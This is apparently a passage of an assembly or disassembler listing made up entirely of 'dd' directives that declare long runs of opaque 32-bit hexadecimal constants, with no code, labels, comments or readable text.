		dd 85DE4F7Ah, 3B69EA51h, 7B68A02Bh, 858D87DFh, 0DF6F57ACh
		dd 0ECDC21E5h, 68895350h, 2B7FA199h, 3E220AC0h,	3496FE92h
		dd 4734336Ch, 622522A4h, 0CCBDDE8Bh, 9D8A4ADCh,	7D1606C8h
		dd 9416509h, 0B5F3857Ch, 2500E0Dh, 64102942h, 448B59B5h
		dd 5D0ABD28h, 84655540h, 0DE5B6280h, 97D08AA9h,	28FC7529h
		dd 905784A5h, 36DE26FBh
		dd 393BAE44h, 6724F475h, 0A512A4F4h, 0CCDAD71Bh, 2C94D459h
		dd 8488A283h, 0B3ACC941h, 958D120Ah, 0D0414987h, 31CB0C08h
		dd 7508F472h, 409F3019h, 88147325h, 8B141CC4h, 0AA43CAA3h
		dd 63DF4CBh, 7D4A860Fh,	0E933DF9Ah, 86BF1142h, 0D78789C7h
		dd 91FD5702h, 882BF800h, 0E75B10A0h, 4B9B1533h,	427E361Eh
		dd 32B7F9ACh, 7BEA5000h, 9A6C9D58h, 0A826888Bh,	8C68E9F6h
		dd 25785669h, 8C22EF12h, 1786DFE9h, 0C81DEE43h,	8FEB1D73h
		dd 9DF418A5h, 8D0CF9C8h, 0CA3A5360h, 0AC4BEA72h, 0AFE9359Fh
		dd 351A1261h, 4D26E3AEh, 0F817146Ch, 3213A5A2h,	0F18806A0h
		dd 2D95F73Ch, 4F81861Ah, 848A4348h, 3C1E0550h, 0A9880A3Ch
		dd 442CB935h, 0BE078C11h, 0A426A04h, 228BCCCAh,	85D1FD59h
		dd 13264874h, 48405024h, 590507F8h, 0CB83676h, 5CE35055h
		dd 0FC45F62Ch, 0EE1023C7h, 1E1BE92h, 8AB5FBFAh,	8A7FFE19h
		dd 422F17EBh, 45C6FC68h, 5FFB1329h, 3D3C3492h, 39F7425Eh
		dd 1ECEB40Ch, 81C2A511h, 0C8E84650h, 20398398h,	82200F59h
		dd 0BDF28141h, 49CB4EC2h, 0F8933F44h, 0A425439h, 0EBF13E8Eh
		dd 1AEF3F48h, 327D03EBh, 67B5F8A9h, 0EAA0145Fh,	535644B3h
		dd 0A2C11510h, 0E3032748h, 89E48159h, 3973DC65h, 8658313h
		dd 942DE85Dh, 26E8911Ch, 5FAC1160h, 8B28C429h, 0DE4C4DD1h
		dd 88021812h, 74DEB48h,	0D6E7DA00h, 0BDF81638h,	2C8619CAh
		dd 4B7EE955h, 7F098BAEh, 0B9DCC48Bh, 88F71050h,	388469B4h
		dd 3F43F5C1h, 56FDA59Dh, 0F710C25Ah, 6448B011h,	0ACFA4518h
		dd 0E841091Ch, 0B129CDFBh, 0D621088h, 0BF9CF752h, 0E81AA086h
		dd 5526F33Ch, 76B8614Eh, 54085BB1h, 0FDE58916h,	0EC543977h
		dd 0FB46B41Ch, 0A103AC10h, 0B00CFC38h, 2BE871A0h, 3C13F550h
		dd 0AC10FD43h, 971888F9h, 3998A433h, 0A15CBD2Ah, 68077406h
		dd 3BCC6C14h, 0F89305EBh, 6457226Bh, 0F30A7071h, 3DA881F4h
		dd 0BE4A9874h, 486A29B4h, 0E4354546h, 6422AB3Dh, 415D5E84h
		dd 901E6AE0h, 80A2D828h, 7CBD8330h, 64D79C48h, 42DBE698h
		dd 1D758508h, 88495C34h, 6A5F91E9h, 0D1D28B08h,	21EB70C1h
		dd 46F5A32Bh, 6E0C8823h, 1428CAF0h, 61B3844Bh, 230DBDC9h
		dd 1255255h, 0D046D4F3h, 0FC167515h, 0E8831BD0h, 5F710974h
		dd 0FF1DEB2Bh, 94175794h, 46D4A220h, 471056F4h,	0DC7E8351h
		dd 0B924E8C6h, 77C996F1h, 0C45B361Ch, 0C74D23E7h, 0F1A5F0C8h
		dd 0F44D896Ch, 34109811h, 38138000h, 735E742Fh,	9475364h
		dd 5C07C687h, 0BF17C0B6h, 9CE87B30h, 9A97F370h,	90F0B8Ch
		dd 264A0C0Fh, 0B2FB4F92h, 77760DF6h, 8D1480C7h,	347A2B73h
		dd 80263931h, 0BC802EC8h, 25133550h, 15247532h,	0A43227F5h
		dd 9EF6481Ah, 46108130h, 481D84C6h, 83F22089h, 1AEB83C5h
		dd 2E4434C4h, 0C2AB2F3Ch, 3005C39h, 52C0BE0Fh, 5A422288h
		dd 4EE0463Ch, 1BE84350h, 0F03BBFC0h, 95907259h,	0CC550CB2h
		dd 0C750407h, 886CB868h, 0A1E3F276h, 0E0241440h, 922F1122h
		dd 0ECAFB00Ah, 1CFE8AFCh, 0F9D51012h, 5E756887h, 0B5B4D484h
		dd 0EB07C508h, 62D947Fh, 0A5EF1D9Bh, 36B5C7Fh, 4F63501Bh
		dd 9D4A0239h, 0FA54F93Ch, 7477E898h, 1422CE66h,	645C55AAh
		dd 0F9AE31B0h, 88126D59h, 24A666C0h, 5362F272h,	86E1810h
		dd 31BAD5B4h, 8F253B8h,	228DE61Ch, 8918FCD0h, 0EB0FE4B5h
		dd 0B831975Bh, 249F75E9h, 3746A98h, 65675653h, 65AB8021h
		dd 9E21BE91h, 6F5B3074h, 59510322h, 794707A1h, 1590D191h
		dd 5E6311ABh, 58E0F24Fh, 3CFB440Dh, 7F56F740h, 4DB4A668h
		dd 572920D1h, 48D23413h, 6032ECA4h, 906629D4h, 0B069C897h
		dd 46939C2Ch, 3C44CDF8h, 2A8ABA57h, 0C899405Fh,	8D458CA4h
		dd 40C92E48h, 8189C73Bh, 745B3C61h, 25233912h, 6A387505h
		dd 0A62BB05h, 32D5BBEEh, 501F880Ch, 20687290h, 4D4584A6h
		dd 189F1109h, 69CA66C7h, 0C033AB02h, 94E4A75Ch,	0DB89F4E9h
		dd 0FA6CB0B8h, 5D015381h, 0F80686FCh, 0B6799AE8h, 9FDE29F1h
		dd 8479BB57h, 5D391403h, 0F2237410h, 0A50DF4BEh, 854A7B7Ah
		dd 1F082156h, 3D052571h, 6532AA63h, 8683EBE9h, 2D57F050h
		dd 0E6A2840Fh, 0C558D2E8h, 385C880Ah, 684136FFh, 5AA170D4h
		dd 30673238h, 53101132h, 66F8A601h, 9FF7FBBh, 0B8366C21h
		dd 0E26B14Eh, 0F5FB1035h, 71591088h, 595A9D0Fh,	0C48BD731h
		dd 4C65668h, 0B52A383Ch, 338413E6h, 86B14A38h, 27C81C42h
		dd 0E0681476h, 7DB2346Fh, 48610C19h, 0A7CCCF18h, 9A61151Ch
		dd 0EF7D7F1h, 74381C95h, 0B858A4CAh, 1A0B3FD3h,	66DB0502h
		dd 49AA0E08h, 74C4680Fh, 6A02EB0Ch, 0E3083C80h,	7548E027h
		dd 504024F4h, 8945CD97h, 3A0107A1h, 782A41A6h, 5771794Eh
		dd 5E8AC9F4h, 20C45E79h, 32FBFC78h, 8F52A8E0h, 0AC0E45FFh
		dd 0ABBD4A6Bh, 0F423A434h, 340CA85h, 0D34FFBFh,	1E9D5139h
		dd 64A12291h, 6846A470h, 0B6C5E574h, 0DBF6F323h, 1B868414h
		dd 81970A2h, 2E6B210Bh,	8C2EBFD8h, 52A0C40Dh, 0ED7287F1h
		dd 499C1C64h, 0EB037F66h, 71796CB9h, 1E0C3D38h,	68D40577h
		dd 4AAD20Bh, 870376E7h,	12519608h, 9BF24D28h, 46C0CDAh
		dd 0EA22EE05h, 48458954h, 0EE726D45h, 0F620F321h, 0C410D44Ch
		dd 160179E6h, 93F8BA09h, 9665B5A1h, 62402408h, 6D0FFB70h
		dd 6A943F06h, 0E94AA2C0h, 57159092h, 9C94921h, 986F2468h
		dd 84F3A0C3h, 7CE92808h, 9A556902h, 21394CEBh, 57446F04h
		dd 9EF37804h, 0F5EE12E9h, 8741703Eh, 141F660Bh,	646E9068h
		dd 0F8373A7Dh, 9E1EB059h, 403D92DAh, 0A6591E26h, 7760D10h
		dd 2C8FDC68h, 0D3C43B8Fh, 0F2E6C492h, 0C8875C78h, 3F1226FCh
		dd 54DD13D8h, 0E9858D5Ch, 6BF99583h, 0F291112Fh, 6E4C68B0h
		dd 74E57499h, 0E9247247h, 0FC7919A9h, 8BB82208h, 9798B530h
		dd 0D05A06E8h, 5B913A7Fh, 0B6426353h, 6456C124h, 222B3EF7h
		dd 0F498E2C4h, 0C2DB5645h, 0F1E4186Ch, 0F45A088Fh, 0F43C21F4h
		dd 4F21F10h, 876DEC30h,	0F1F19088h, 0C2544B06h,	2998858Bh
		dd 50660477h, 8429609Ah, 3047C449h, 9326EB1Ch, 0E71B2921h
		dd 56511C68h, 0E81753A6h, 76D9F11Fh, 5C95710Ch,	42F942F3h
		dd 9CF70B6Ch, 0A5D99B0Eh, 0CA966189h, 25D13BE6h, 81982211h
		dd 62A3531h, 0A6529994h, 0D9586A22h, 8FC1CA8h, 0A998C5Ch
		dd 0C46D38C2h, 0EB142D5Eh, 7234EB99h, 311525ADh, 542CF0E8h
		dd 0A2EAF985h, 5FFC4A30h, 536F82Bh, 48C868FCh, 0AEDE1Bh
		dd 920EF2D1h, 438828Fh,	0F6330EC2h, 1EEA9257h, 1A592F05h
		dd 5655809Ah, 1FC24988h, 0C62D935Bh, 56824455h,	7C34534Eh
		dd 0CD142AEh, 96DC6C74h, 4CFCC24Ch, 0E7CA93FBh,	3B0C6180h
		dd 75FECE7Dh, 68BD73BCh, 0B5D8F744h, 0AC5C2044h, 18FCCD81h
		dd 0A1572D08h, 56126814h, 9C5F10B2h, 0F16CBBCh,	3D1AC1C6h
		dd 57A22733h, 942936A6h, 534E94EEh, 0E6A8E935h,	0D153A892h
		dd 0F3E80BB8h, 9F46F1h,	3E3C8016h, 0C604755Ch, 572FD8E5h
		dd 0DDE8460Bh, 5E3E46F1h, 0BDB695EAh, 0B2048861h, 5E1A60DCh
		dd 0AB10C513h, 756F6129h, 0A232AA3Eh, 1AE801F0h, 0F7772EEAh
		dd 1C7589E8h, 18EC39DDh, 0EB84F212h, 0E590F534h, 657C7AF4h
		dd 0F6705074h, 0CD609D28h, 91BFB805h, 8CC2BE80h, 9D506868h
		dd 14B34BF1h, 20060924h, 0B1C63468h, 0B1EEB225h, 327AF036h
		dd 0D2DA2819h, 0B9B72A86h
		dd 1E5C5608h, 64E95BEAh, 0A810569Bh, 795EA275h,	9D7497Fh
		dd 0B296DD91h, 396663EFh, 0CE3C41CDh, 750A2F48h, 49145719h
		dd 0FBA515FEh, 0C11509DEh, 9475649Ah, 37845ED0h, 0BBEBF3Eh
		dd 687A04BEh, 5EE47D27h, 65664764h, 0C843BC58h,	85841AF2h
		dd 0F30EF0D6h, 9485E6A5h, 2D69B7D1h, 6F82CDF4h,	1F65052h
		dd 7175F080h, 14BD9068h, 508DBEFFh, 0BC88F880h,	34728472h
		dd 0FF20238Eh, 47F88088h, 9C62F81Ch, 0FC8418FEh, 8EC06E88h
		dd 3BF88021h, 0B5B14431h, 9C43BD90h, 0FC25E5B7h, 5C35AE7h
		dd 6ECB284Bh, 6F4E5327h, 5164BC66h, 86599DD8h, 0FE00246Bh
		dd 27BCCEEAh, 675354BEh, 0C05DA257h, 977BC55Dh,	0E5E0AC19h
		dd 46942B82h, 0E90813B8h, 886F88C3h, 0BF189D84h, 0FFC4EE71h
		dd 6D0C33Bh, 0A76475F8h, 2125A1F0h, 316C44F0h, 3CA3E744h
		dd 0BF89D0E5h, 0E294C2E1h, 62439E21h, 1071E4D5h, 12A7E323h
		dd 175E54F2h, 4CC2A239h, 0DF13090h, 0B680BD89h,	78BF1D5Eh
		dd 28ED235Bh, 40F8B54Ch, 56CCCE9h, 0A4D00E21h, 4B85FCC8h
		dd 82FBED7Ch, 6CE747E8h, 0AA40D343h, 6F174511h,	1EB3335Ah
		dd 8E09B359h, 375C0295h, 88CF8BC1h, 55FA8C42h, 816C5246h
		dd 4EFC9411h, 4C38A710h, 0C8F02CD8h, 0D41A6AAEh, 68711188h
		dd 0D6E47D44h, 0A720B170h, 0D625BCF6h, 0A8D25325h, 0E649CF82h
		dd 859D3802h, 90A85929h, 80C91B30h, 1DD329BDh, 965A71F0h
		dd 0FD8C42FDh, 0EE2BE821h, 584198Eh, 88DF35FAh,	15C4163Ah
		dd 2A242B55h, 4714C832h, 119AD9E1h, 7FD365E9h, 38E4E723h
		dd 27CBED28h, 31D4ABF1h, 0A8E8C044h, 43B236A7h,	699F5371h
		dd 0D6D619E2h, 4584C581h, 239D88D1h, 25E5C6DFh,	50F788DDh
		dd 648222C8h, 92AC5383h, 0C299FC2Ch, 0CCA9D44Dh, 70C5EC70h
		dd 44BF51FCh, 67FA809Fh, 48E6A9E8h, 186889E3h, 58BEE40Ah
		dd 7DAAE55Ah, 94D0DA45h, 0A6888DBDh, 0E9590541h, 0FC31CC10h
		dd 0C1AD6091h, 0B7A30442h, 0FD8C8872h, 0C8E179EAh, 0E8024271h
		dd 11C3285Fh, 5F62184Ch, 0CA043241h, 4C4672Ah, 8A1BA70Ch
		dd 0ED2B8D22h, 80124A23h, 750178F9h, 0C0FE1204h, 0F382C932h
		dd 83322C82h, 290EEB88h, 9010C1FEh, 0B60F838Dh,	0C90603C0h
		dd 308E0C1h, 0C0453A3h,	50C62B09h, 0FDD95389h, 4F46520Fh
		dd 394D6AE1h, 0BF140761h, 0C84508FCh, 447AB01h,	0B8D23B22h
		dd 4BCB4682h, 932BB6E0h, 44784541h, 94BAE9C9h, 9FA2C1Bh
		dd 715239B0h, 5D39C2FAh, 0F7768F4h, 25E18Fh, 9047A22Fh
		dd 0EA481080h, 36EFE14Eh, 39590BA3h, 0FA16139Eh, 273BCE13h
		dd 0A245E19Ah, 1E7EE7AFh, 16CBFA56h, 0D229B301h, 0CB53C292h
		dd 126D863Ch, 5676DC68h, 9BF41452h, 3912E320h, 784381Dh
		dd 0C4BFB582h, 41740677h, 1F40BE56h, 3068B0Ah, 460AB4D8h
		dd 5CB8D3DAh, 76D0840Bh, 5F426523h, 0D2573E11h,	7A28624Ah
		dd 0C68301FDh, 5452E3Ch, 981EF87Eh, 35FF5E80h, 0B0468818h
		dd 38042085h, 3F19E182h, 85260CBCh, 6A4E3BE4h, 38970E14h
		dd 42BD60B5h, 0FB233350h, 0C4C5123Fh, 4EC18A38h, 0E8C2B2ACh
		dd 1271DFCCh, 80277E0Bh, 34FF142Bh, 0D1E859C5h,	61A4904Ch
		dd 107748E5h, 95E2B1E8h, 4C134919h, 45861416h, 2BF3049Bh
		dd 0BAE71079h, 83EFCE1h, 0ED449E18h, 3885E0EFh,	0E14A4AB5h
		dd 9870563Eh, 0E2034E76h, 604751C4h, 732244A9h,	6A464442h
		dd 33E80415h, 910C9299h, 24A14355h, 85E0C188h, 129964BFh
		dd 7BFEA298h, 74A3530Ch, 3589189Bh, 0B90C701Dh,	368862Dh
		dd 66BE7631h, 5BFC459Ah, 0FA57BBA0h, 14186AA1h,	5413B956h
		dd 0A33C46AFh, 28C88360h, 7F6A8F40h, 3A79F8ADh,	1845C804h
		dd 0A21753D6h, 61BBD659h, 0B7FC05C7h, 0EB02471Dh, 37C4881Ah
		dd 6912021h, 2009EA9Ah,	351485F4h, 0F5449B83h, 42F46EA4h
		dd 478B2678h, 90125394h, 281E62C2h, 0AF6F9DCh, 2E286CA3h
		dd 68530A07h, 3EA24E80h, 67EA406Ch, 0DC5375Ch, 37E61D12h
		dd 1D67C321h, 9C429C05h, 5E326A25h, 3071E937h, 0AC906E48h
		dd 90A21DC8h, 1EC41484h, 0BF033D94h, 70099FBCh,	322404C7h
		dd 0C8AA0224h, 81F4FA1h, 3858A0C0h, 0B8C285F9h,	50211E9Fh
		dd 0A1D062A2h, 38F90722h, 4885A254h, 0F8E78920h, 0A2541F38h
		dd 0A1CC218Ch, 6C315864h, 5200EE0h, 39DB0923h, 0B842A1A1h
		dd 5409229Fh, 5F1D8134h, 16C82027h, 40C9581Ah, 82012D1Bh
		dd 0EA472496h, 0DB659C48h, 82EF24E9h, 13194852h, 0E8032740h
		dd 52DC4DE1h, 94C40BD4h, 564CDC9Eh, 84225349h, 15815C6Ah
		dd 0A638FB23h, 880274C0h, 8C49A118h, 0ACCE4028h, 98A394A8h
		dd 0C40A0BD4h, 0A4449C0Ch, 483B8ADFh, 8A31BFDh,	408DE925h
		dd 0F3104944h, 0D890E28h, 2213D4A4h, 1A506444h,	40D53A8h
		dd 0BE4A592Bh, 8477C410h, 0D8EDF5Fh, 0D9F00320h, 9FA0218Ch
		dd 229C0842h, 0D2345B23h, 102C3A3Ah, 68EC9FB4h,	14D17C69h
		dd 0DEF1261Dh, 3B68D82Ch, 0D92E5981h, 82576A01h, 0FC4D43F8h
		dd 3E1BF69Dh, 2EDFAC2Ah, 0CC4266B6h, 1A4005A2h,	0BBD730C8h
		dd 9249CE41h, 3E439FDEh, 62E24D58h, 0D75D5E51h,	56104698h
		dd 6A44ADB7h, 3BCCC72Bh, 6306A71h, 6F80E8F0h, 0FA299E6h
		dd 24DD7659h, 32AA71A1h, 0F826FCA4h, 0A5F45009h, 0C9795F48h
		dd 0F20D215Ch, 0D9391810h, 569F1B76h, 91F5D2AEh, 9221F81Ah
		dd 89FC40BDh, 5EEA0D85h, 0C63B0F8Fh, 76ED05EFh,	6269291Fh
		dd 0A4F44D25h, 78B2F809h, 88021C69h, 0D192CD04h, 2032B85Fh
		dd 42B78601h, 0C66AC37Eh, 85025A0Eh, 4F86A6E8h,	23BA4295h
		dd 45D96F3Eh, 99EE0408h, 0E8843B05h, 0FC413CFFh, 9F78B4B7h
		dd 19FB44E6h, 7C706CADh, 0DE27F85Eh, 0E0E32239h, 3929D1FEh
		dd 0E4B5898Dh, 44BDD915h, 936F310h, 5DF88B56h, 0FB3B3638h
		dd 0F19F0F25h, 28CC282h, 0E23FE916h, 0FEB010B5h, 0D475C09Eh
		dd 14880C7h, 240B9BB7h,	4D52D840h, 96B76E4Ch, 2BDD7018h
		dd 691459DEh, 273E34DBh, 0A89EEB83h, 0AAECC53Ch, 9C2DFFF4h
		dd 0F07DF867h, 94744ECFh, 9B4E4193h, 0A20D5960h, 93441EBh
		dd 0D48B0842h, 18B345E4h, 57C41235h, 7450F394h,	799088FDh
		dd 2FBE5984h, 30611142h, 8DF32883h, 27ABE83Fh, 32C85E94h
		dd 8FA66A7Ch, 0B82C12B1h, 6EAA9D0Ch, 7B30E064h,	1499D083h
		dd 0A2B415A5h, 54B25842h, 0BA156619h, 0EC7D4844h, 802DB6C0h
		dd 1F4049BDh, 0C59CD75Fh, 7A6D67E8h, 6B23F13h, 9B57C010h
		dd 98E8B8CEh, 0C8FC9EB4h, 0AA9CBF21h, 48E52E38h, 44B0446Bh
		dd 2194ABE9h, 0A8F86D28h, 91DBFE26h, 0ADE01635h, 31102120h
		dd 8FE8830h, 9477B9E6h,	6ED17A10h, 8540EB6h, 3DAAC125h
		dd 6E892DC1h, 1466E9F2h, 0A42112E8h, 21EC10FEh,	21C490A8h
		dd 4BE09A94h, 0D3D2A97Ah, 0EFDFAEFCh, 0DA8D3691h, 0B77E3A89h
		dd 3C90E4CFh, 0C0440FF5h, 0B8BB34BFh, 9EE9E30Eh, 204C9859h
		dd 0F19DD919h, 0CC94ECC3h, 0F214014Dh, 0B31ADDB4h, 4494A75Fh
		dd 0AFB44578h, 4D19E48Eh, 164C64D4h, 532789ECh,	7D45FE37h
		dd 4CA443E6h, 0E1103C27h, 3A8041D7h, 3E020256h,	44BE6975h
		dd 3DEB973Fh, 99D3E34Ah, 0B8192280h, 4D946197h,	934B891h
		dd 107AD468h, 82DAB6B0h, 39593460h, 2B855D51h, 1B09B2B1h
		dd 0BC4F3A6Ch, 0E2BEA760h, 4EB2F8E8h, 0FE3421A0h, 12370A08h
		dd 4F39F359h, 39C53810h, 0EB35A9D4h, 89FB893Ch,	49A09B1Ch
		dd 37482D9Ch, 0CCAF8217h
		dd 51AAB488h, 0DC4003D0h, 7C5053C8h, 3A918821h,	0C1417343h
		dd 0D4D71E8Bh, 2AD8FE11h, 0F457B634h, 8826ACEDh, 0A60DABC4h
		dd 9A62675h, 3147778Bh,	4FD84D09h, 0C60B142Eh, 2D014658h
		dd 0D6FF1E6Ah, 5371FEEBh, 38907048h, 8728CAC9h,	364450C6h
		dd 2DA02899h, 0B03B4728h, 51860F15h, 0D08065A7h, 8F4C67A8h
		dd 208768DEh, 5068EA60h, 553EB73Eh, 64BD17E5h, 2645A204h
		dd 225A8A50h, 1179E05Bh, 94AC156Fh, 4635F089h, 0DBB1B208h
		dd 668435D2h, 0B8E9D1D4h, 3B14AB0Bh, 0C94EDAB5h, 5D53BA18h
		dd 9C0B8F25h, 0B86BC6Fh, 0D6D3E8D4h, 77B5C765h,	3C7D0F9Dh
		dd 0E85CFF25h, 0E693F9C8h, 34C5F31h, 6B4A210Bh,	0F6281057h
		dd 25DCB85Fh, 3024B889h, 0A0AEA15Bh, 3D258A42h,	11DDEDD9h
		dd 66A82C0h, 4C9A7D57h,	85DEFE8h, 11526D9Fh, 24234DFDh
		dd 68C1AA57h, 67390401h, 5C7DB848h, 0A2CE1DF5h,	0B26FECD3h
		dd 6E4F56C4h, 6A65CB6Ch, 91230A6Fh, 0EAAFBAC8h,	58857F0h
		dd 0F72C1228h, 0EA741631h, 92DE5CB0h, 0BD891230h, 166194B8h
		dd 5E35EFF7h, 0FCB47271h, 87B7011h, 52F09AFDh, 0D96F1257h
		dd 0C8D29AE4h, 1085C83Dh, 0A52023C4h, 41933E78h, 680EEC20h
		dd 1D407D86h, 0A2404CFCh, 1CC639C8h, 0DE396813h, 5265129Bh
		dd 216FCA4Eh, 0EB2046EDh, 344F6B98h, 0D56A7089h, 4B7CE646h
		dd 0E15172DDh, 3B92D534h, 0A108AD56h, 0DD111344h, 0C88C27DFh
		dd 14736FBCh, 0BD7E8F6Ch, 106AE10Ah, 20AC4051h,	3A283AFBh
		dd 9D3379F0h, 8109671h,	4E17A94Eh, 0C99CE5ADh, 0A914D794h
		dd 0D5EA09FDh, 67A476C5h, 0D299DCADh, 0F95875Ch, 0A91CCC15h
		dd 0C80E69EBh, 73DA9BF5h, 3B4BC620h, 1044B8C7h,	0C40378Bh
		dd 6A0E5DBEh, 0B06296B2h, 9C7F5650h, 6BF04523h,	0CCD6EA59h
		dd 0AAFDC56Ah, 0B288C854h, 7C1C10BCh, 96754D84h, 0BC9A824Eh
		dd 1220884Eh, 6CB594D1h, 8E91D0A4h, 0B38DCC41h,	91561D32h
		dd 648B9A54h, 0FB38160Eh, 77A7E8D9h, 6817D544h,	70E37F6Dh
		dd 0F9D04D85h, 3953E16Dh, 0A758341h, 0F1C49822h, 0EED8BBBBh
		dd 6DC8ABCh, 299D696h, 2A871015h, 13F83654h, 2C7E80D8h
		dd 93173ED0h, 0C3C258E6h, 0DC4513EBh, 0A784C810h, 8BFC2432h
		dd 0FF13B546h, 62CF65B0h, 9B208DEh, 0D33F0455h,	4C6C3DABh
		dd 114428E7h, 52DD43F6h, 6AFC4FE6h, 0E5CCD889h,	8E24EC40h
		dd 34F66912h, 44D2EDEDh, 0BAEED8BAh, 0D5BDA131h, 1109BB5Dh
		dd 0B6FF093Eh, 385D1C12h, 0D01B7EE3h, 359A1D4Bh, 0C4149532h
		dd 0A657B968h, 25E8EC78h, 699CD2B0h, 4F0A6C95h,	107F2CD4h
		dd 2C025B81h, 34EBE164h, 12BB597Ah, 522D10ACh, 0B8534F9Eh
		dd 0D52EC4EBh, 0B97E66CAh, 2EE790Fh, 0EBE07CF0h, 62DB0329h
		dd 576A85C9h, 2110F48Eh, 72578801h, 0A26CCF5Ch,	1781A4B5h
		dd 8D20C7E8h, 5C10F635h, 2A27847Dh, 273046D4h, 0CEDED075h
		dd 7C241A21h, 773049B2h, 3888D4E6h, 4894AC6Ah, 43FDC8CFh
		dd 8F5A307Ch, 16BF7434h, 0D54A644Fh, 89AA851Ch,	0B4C72F48h
		dd 893FB48Bh, 0BE0C046Ch, 5352C792h, 116A1812h,	0BBCE5B1Eh
		dd 1708593Fh, 0F31FFA4h, 0D8C81F82h, 5886310h, 0B87B18FAh
		dd 4345847Ch, 39E96250h, 0C39C97FFh, 2123C053h,	95209174h
		dd 4660F80Ah, 2F72C7ABh, 0AC88980Bh, 89CF8AD0h,	5900524h
		dd 85E62CB2h, 0B2FF382Dh, 7A4DD84h, 5F9AD808h, 0D4608D4Ch
		dd 4FAC38CEh, 68B1544h,	6CF804C3h, 0FAEE2271h, 0A4D5DA82h
		dd 0C417D632h, 9A4FAA02h, 0BA2D9FBDh, 7C5870FEh, 2F365818h
		dd 0D027E8B0h, 4A5BAC96h, 929AA86Bh, 2D7C53AFh,	7F629199h
		dd 0ECFF6B1h, 30BD8014h, 0EDAE814Eh, 451A0601h,	0E004E631h
		dd 0BC5D3840h, 2DB57774h, 2AEEA6CAh, 0FDD69229h, 16618AF3h
		dd 593C6858h, 0D616D17Eh, 3664FF2Eh, 0B4051624h, 570F9D88h
		dd 550D4C6h, 0D246E85Dh, 308ADFE9h, 8008271Dh, 0C859268Eh
		dd 0F60D196h, 209F875Ch, 66730D60h, 0D332858Bh,	0C628256Fh
		dd 34451A7Fh, 9D5C2336h, 0B34D1697h, 28AA9605h,	0EC4D683Eh
		dd 3EE8157Bh, 125BE898h, 74D1AEE8h, 10987AD6h, 53E4CEC8h
		dd 216DAA96h, 84986F1Ch, 0D92DCF23h, 59A20B3Fh,	0E04C871Eh
		dd 0D0F3E85Ah, 4CA1CABBh, 39DD5751h, 0F2894BC3h, 0B15D903Bh
		dd 430ECDFCh, 7AE48818h, 0BD4A147Dh, 0C08E1h, 0BDBEFF33h
		dd 0B29D9591h, 7DC70252h, 0D551488Bh, 0FFC93389h, 0B7DC051Ah
		dd 74103902h, 0BEAE7509h, 7201F961h, 540BA5F0h,	6B951F42h
		dd 0EC02962Dh, 58E9D3FDh, 52B73C8Ah, 2571B06h, 0D49B5074h
		dd 273F1121h, 8518D353h, 25572C74h, 0A571BC34h,	5F34E5BDh
		dd 0A6162460h, 4874855Fh, 9D2B3E36h, 5CA758E5h,	0B444A3A8h
		dd 19462835h, 44539585h, 0A522B1D6h, 88484561h,	531303F4h
		dd 201D4AE0h, 68907E94h, 6C596EFFh, 452F93A8h, 6B8579Ch
		dd 0BA0BE14h, 90A8BF10h, 0FC4D8D01h, 0C1196851h, 0FF609702h
		dd 41763209h, 0A81408B2h, 0B410CFC2h, 76306465h, 0A45D8CEEh
		dd 0CF909BACh, 0F1068FD3h, 9DA2C33Bh, 2833AE4Ah, 0FC0C0E10h
		dd 0A7A0681Ah, 0CE100076h, 9C211143h, 2BC87B92h, 0F1D19D18h
		dd 7A2F1B27h, 6A901862h, 0EAB53464h, 0F40C5284h, 0DA2F9236h
		dd 2E33046Ch, 0AED45922h, 8520AED3h, 0C23D6AD3h, 0E9CDE833h
		dd 0A42F1599h, 5A22B449h, 89E5D120h, 0C6ED530Bh, 0FD8F2214h
		dd 92FC5C0Ch, 0CE0421AFh, 0FCBC2013h, 7819A668h, 2984CDEBh
		dd 0A7145310h, 3788B0C5h, 0FDE84FA6h, 1A2A4C42h, 149434D4h
		dd 3CEB858Eh, 4A0AEB2Dh, 4785A122h, 1CA5F042h, 28240543h
		dd 0A3746243h, 18C6800Fh, 39F45E39h, 4AC8468Dh,	68FE8012h
		dd 0F1B79CB5h, 0A7B942B2h, 6407B077h, 98218CFDh, 0FEEC4202h
		dd 0A041442Bh, 30BC80DFh, 5C1FEB05h, 14567559h,	0FE1B2219h
		dd 189C5588h, 1285E63Eh, 0E627F068h, 8BBB64C5h,	0D27013BFh
		dd 405D3D8Ch, 1AA453F8h, 887759BDh, 6464FD68h, 0C2A52D21h
		dd 48C85C3Ah, 4D24684Dh, 5A27185Dh, 5E22039Bh, 0C591BC48h
		dd 390ACC8Fh, 23F45E24h, 1FA0A4CFh, 28E168C5h, 1BD58CEBh
		dd 0D8828BB7h, 0D991949Ch, 0F0CC2F4Ch, 0A3044ABEh, 0D7A64A15h
		dd 0E8913C12h, 0D1A484FCh, 0A83D8B03h, 68D25F45h, 0BBA8D221h
		dd 0C677D7A2h, 94BB4C81h, 0F6717482h, 0ED801DA9h, 0E8BD8054h
		dd 752E13C2h, 59E90412h, 9484236h, 0AA39F22Eh, 0B44111E6h
		dd 18F5227Fh, 4228F5FAh, 1C5277D1h, 14E15414h, 67EAD995h
		dd 2C46E85Dh, 7A1C53C8h, 0B74A284Dh, 8F547ACCh,	4A8B980Dh
		dd 4474B769h, 0D057F052h, 93AE47FDh, 4FCAC3A8h,	0A8FACF84h
		dd 0CFA8711h, 912C2D68h, 0B3512076h, 16A7B8Ah, 7216C91Bh
		dd 0D3A37E27h, 5254224Fh, 0B1CF8656h, 8B8D8475h, 246A23A0h
		dd 2D0D5353h, 0E43E21C8h, 0FF809975h, 5035FED5h, 98F81FC4h
		dd 0FB3B254Fh, 6835B046h, 0D98333ECh, 82D0C2D6h, 5244A308h
		dd 0C01AC865h, 64F8B867h, 319C32B0h, 43B80CA0h,	918C21A2h
		dd 64748864h, 19646294h, 5819FE08h, 438CF80Ch, 68542940h
		dd 0C4CA2410h, 20C0AC34h, 0CFACFA7Dh, 4150741Bh, 903CE17Dh
		dd 34889C10h, 2CF07320h, 786110D0h, 5C102468h, 101C323Ch
		dd 41411F8h, 0C1A521Eh,	0FD4D0910h, 5C74F18h, 66A4582Dh
		dd 0C682BB4h, 0A32C31E5h, 123755D0h, 8B771E54h,	864615EBh
		dd 4F5CA334h, 2CC22D2Dh, 2991C034h, 223827A9h, 98F02301h
		dd 1521E41Eh, 0D88ACCF4h
		dd 88A4910Dh, 623864C8h, 594819B8h, 0DAEDAE6h, 9490E1FFh
		dd 84C488C8h, 81AEC32h,	953E56BBh, 8FF0A2E0h, 388FB1A4h
		dd 0A4488411h, 88396862h, 0E2EC31E2h, 8A60421Ch, 64E4AE70h
		dd 54C46837h, 0CA27831h, 34538640h, 1464217Ah, 21344A20h
